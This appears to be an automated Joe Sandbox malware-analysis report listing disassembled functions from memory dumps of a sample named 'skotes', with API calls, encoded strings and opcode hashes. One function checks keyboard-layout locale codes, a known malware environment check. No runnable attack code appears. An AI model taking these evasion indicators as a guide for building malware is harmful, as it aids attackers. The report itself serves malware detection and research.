Function 003F2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WGpm, xrefs: 003F3CC9
5120, xrefs: 003F3BAF, 003F3C9A
invalid stoi argument, xrefs: 003F434A
246122658369, xrefs: 003F2F78
Hykl, xrefs: 003F387F
V2Te, xrefs: 003F3EB0
Fw==, xrefs: 003F378E
stoi argument out of range, xrefs: 003F4359
", xrefs: 003F3F89
WX f, xrefs: 003F3BDE
WTw=, xrefs: 003F2F5E

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: a4b87e5821ff4ae5d87796a98bb54492ab413e7f115379374c74e7e69ddcb230
Instruction ID: e616fa88ed5ff558ddbef11ae133f6cb012a5f7354eb74683d672cced5e2f0ec
Opcode Fuzzy Hash: a4b87e5821ff4ae5d87796a98bb54492ab413e7f115379374c74e7e69ddcb230
Instruction Fuzzy Hash: 3F724871A0024C9BDF1AEF78CD4A7AEBBB5AF45300F50458DE505AB3C2D7359B848B92

Function 003E5EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 003E5F13

Strings

00000422, xrefs: 003E60C9
0000043f, xrefs: 003E612B
00000423, xrefs: 003E60FA
Keyboard Layout\Preload, xrefs: 003E6054
00000419, xrefs: 003E6098

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: eaa00f5b28efe262a1df6adb37052d7eca9eab54f8bafe4eadb25132692d0807
Instruction ID: 0155015cba8214b46f007e6cc54a8cb858e6e8b282a1264bc90f1c39f23662c3
Opcode Fuzzy Hash: eaa00f5b28efe262a1df6adb37052d7eca9eab54f8bafe4eadb25132692d0807
Instruction Fuzzy Hash: D1D1D0719002689BEB25DF24CC85BEEB779AF15340F5042D8F508EB2D1DB749BA48F94

Function 003E7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 003E7ED3

Strings

JjssOl==, xrefs: 003E813A
JjsrPl==, xrefs: 003E828A
JjssPV==, xrefs: 003E81E2
JjsrQV==, xrefs: 003E8092

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: cda1acea9de74524d6c6707b0411f8d034e3ad5a3fa7e4120267e2255defed7d
Instruction ID: a9a3a52d91ddd7ca6bcb20c3fd6c52e7fb32b2d3e0042e023b49873b96a59dfc
Opcode Fuzzy Hash: cda1acea9de74524d6c6707b0411f8d034e3ad5a3fa7e4120267e2255defed7d
Instruction Fuzzy Hash: CCE12A74E002A49BDF16BB29CD1B3AD7771AB42714FA4079CE4196B3C2DB754E8187C2

Function 003E8380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 003E8524

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: b6ea7c8e24633694bfc4673e8d14ce9f63271385d7df0b92e8c1d8b4e7f025d3
Instruction ID: b89c7714326e9bc8fbbd32ef0a36e39ad39f76d5563c168b091ecb72b56e5507
Opcode Fuzzy Hash: b6ea7c8e24633694bfc4673e8d14ce9f63271385d7df0b92e8c1d8b4e7f025d3
Instruction Fuzzy Hash: 69513870D102689BEB25EB2ACD457EDB775DB46314F904399E409A72C1EF349E808F91

Function 003F6C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 003F6CF5

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 187f79e8a6102bbadcec9aafe10bb6a73fb1ce21efb67f090444b4600f21d96d
Instruction ID: 8177d3e344d0588256bf41cf95e3498149b850e357b67fdf341cfe55e4265a7a
Opcode Fuzzy Hash: 187f79e8a6102bbadcec9aafe10bb6a73fb1ce21efb67f090444b4600f21d96d
Instruction Fuzzy Hash: 65F0F471A00654ABCB02BF689E03B2E7BB4EB07B60F900358F9216B3E1DB741A1447D7

Function 04E60CD1 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4141343862.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf3825473596c49b02ac1e4f725da7f17ab7aa567ec7bbcbede0ea13d7f8ec9
Instruction ID: 10c5a3569ec4b0d8743a80aba4a9c2f7e429ed01dcef2830650e4cf702fcc22f
Opcode Fuzzy Hash: 9cf3825473596c49b02ac1e4f725da7f17ab7aa567ec7bbcbede0ea13d7f8ec9
Instruction Fuzzy Hash: 750196BB28D120AFE251C9916B146FA77ADFBD6770B30993AF407C3101F2952A09A231

Function 04E60CAB Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4141343862.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba45307a72bf2dcdfbf983df78211a2614f34207d3b93a25f09f7dd65ce659ea
Instruction ID: 3a59f32a6d859ae74ccbbd0ff57ae1733be94dcb2a7ec81a56530dd4880dc22c
Opcode Fuzzy Hash: ba45307a72bf2dcdfbf983df78211a2614f34207d3b93a25f09f7dd65ce659ea
Instruction Fuzzy Hash: 39F03CFB28D020BEB141C5816B14AFB676DE6DABB0B309966F40BC3101F2946A49B231

Function 04E60CB1 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4141343862.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f01a71bd1e566d987178930f28c678c3658276201fceff5231c9ce76e338b8
Instruction ID: 92f1b8559909393fca8cf936123063245002c97b38ce060a73dbde9499528b7c
Opcode Fuzzy Hash: 02f01a71bd1e566d987178930f28c678c3658276201fceff5231c9ce76e338b8
Instruction Fuzzy Hash: 3B0162BB28D020BEA141C5456B14AFA6B6DF6CA7B0B319966F407C7501F2946A09A231

Function 04E60CC4 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4141343862.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db6f027caf42c95048957535c142b8275eb57e240eb94e882d980e99566bf9f5
Instruction ID: 72d9abafa477525e358879cae5edd3f041940e7d3c93c4d8c74625d65267c6be
Opcode Fuzzy Hash: db6f027caf42c95048957535c142b8275eb57e240eb94e882d980e99566bf9f5
Instruction Fuzzy Hash: 69F0F4BB38D020BEA141C5556B14AFA676DE6D67B0B309937F407C7101F2956A4DB131

Function 04E60D00 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4141343862.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c3975200e0045dc5adefdf00675808dae2ee113e7366b47f496910163c68ca7
Instruction ID: 3f52084623207352cd02fe85db4e56a5b37d112340bd8cc2dbc47cbb658ec2bb
Opcode Fuzzy Hash: 8c3975200e0045dc5adefdf00675808dae2ee113e7366b47f496910163c68ca7
Instruction Fuzzy Hash: CCF037BB29C420BEE142CA9267146FA776CF6D66B0B309A37F047C3101F2953A59B631

Function 04E60D2D Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4141343862.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 453cd0506ca7e731df9e96797317e15647c709d0aecf37c1cbfb907111ab69ca
Instruction ID: c8305468438273995336f07c319aef44c9a09010d1fce88067561b48eea66565
Opcode Fuzzy Hash: 453cd0506ca7e731df9e96797317e15647c709d0aecf37c1cbfb907111ab69ca
Instruction Fuzzy Hash: B8E0682604E2909FC303CAB18A216FB7F502F036E0F1407AAE0C3C72C3E1612244E272

Function 04E60D5C Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4141343862.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 494958e6db0d17324ec0a057693451a6a716fd1f97cea82670e95542bd68c2e3
Instruction ID: a632986438ec0968f26da4f4c63496aae29062a880c1adfec15966e60894ae7a
Opcode Fuzzy Hash: 494958e6db0d17324ec0a057693451a6a716fd1f97cea82670e95542bd68c2e3
Instruction Fuzzy Hash: E9C02B272CD430FB8143CC9106067FA3E402B468B1B505366E10387181EE463144F391

Non-executed Functions

Function 004231A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00423323

Strings

1#IND, xrefs: 004244B3
1#INF, xrefs: 004244DE
1#QNAN, xrefs: 004244C1
1#SNAN, xrefs: 004244BA

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e1a748e299f31de99c9a854fc76359f0fa342077696918565b7a9e11c3f5773b
Instruction ID: 91ebefb7874dd1c61087c7cf0e7ee3c00be3685588a0793c77ecfa490ffb4211
Opcode Fuzzy Hash: e1a748e299f31de99c9a854fc76359f0fa342077696918565b7a9e11c3f5773b
Instruction Fuzzy Hash: 72C22871E046288BCB25CE28ED407EAB7B5EB88345F5441EBD84DE7240E77DAE818F45

Function 00422D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 55c8e3aea0b360779b4cc4a71d81d1bc5f80d785022058ed9a9c480639cab3aa
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 54F15F71E002299FDF14CFA8D9806AEB7B1FF48314F65826ED819AB344D735AE01CB94

Function 003FCBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,003FCF52,?,?,?,?,003FCF87,?,?,?,?,?,?,003FC4FD,?,00000001), ref: 003FCC03

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: c85272cc86c341e1b7988d02f4d768edea6e80e19c0b1731e6f67906f19b8872
Instruction ID: 687ec818fab455d231d62c82c121e57236465607d028de529fa65bfaf32979a2
Opcode Fuzzy Hash: c85272cc86c341e1b7988d02f4d768edea6e80e19c0b1731e6f67906f19b8872
Instruction Fuzzy Hash: 25D022365D203C938A073B84EC008BDBB4C8B01B54B002131EE0893530CA507C414BD8

Function 00417F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 004180B2

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: a48e7e195b1798ce07a056dd7a71d6d7a2ac305a123ec49025cdbd787eba3516
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 02518B3174864C6ADB384A2888957FF7BAA9F15308F14051FE482D7392CE5E9DCF825E

Function 003E4DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63ad9e381ebd57240c1a7818e1d86843d817b00e13c4a043293c1743dc235d86
Instruction ID: 9feafb058eb098d80cedda6ee76fba1d4858f3d0b999cf760526503156f351da
Opcode Fuzzy Hash: 63ad9e381ebd57240c1a7818e1d86843d817b00e13c4a043293c1743dc235d86
Instruction Fuzzy Hash: 8E2261B7F515145BDB0CCB5DDCA27ECB2E3AFD8218B0E803DA40AE3345EA79D9158648

Function 00427049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cddc17cd9357da1536aa14f2caad929b07ea25225fee924d99326883484e471b
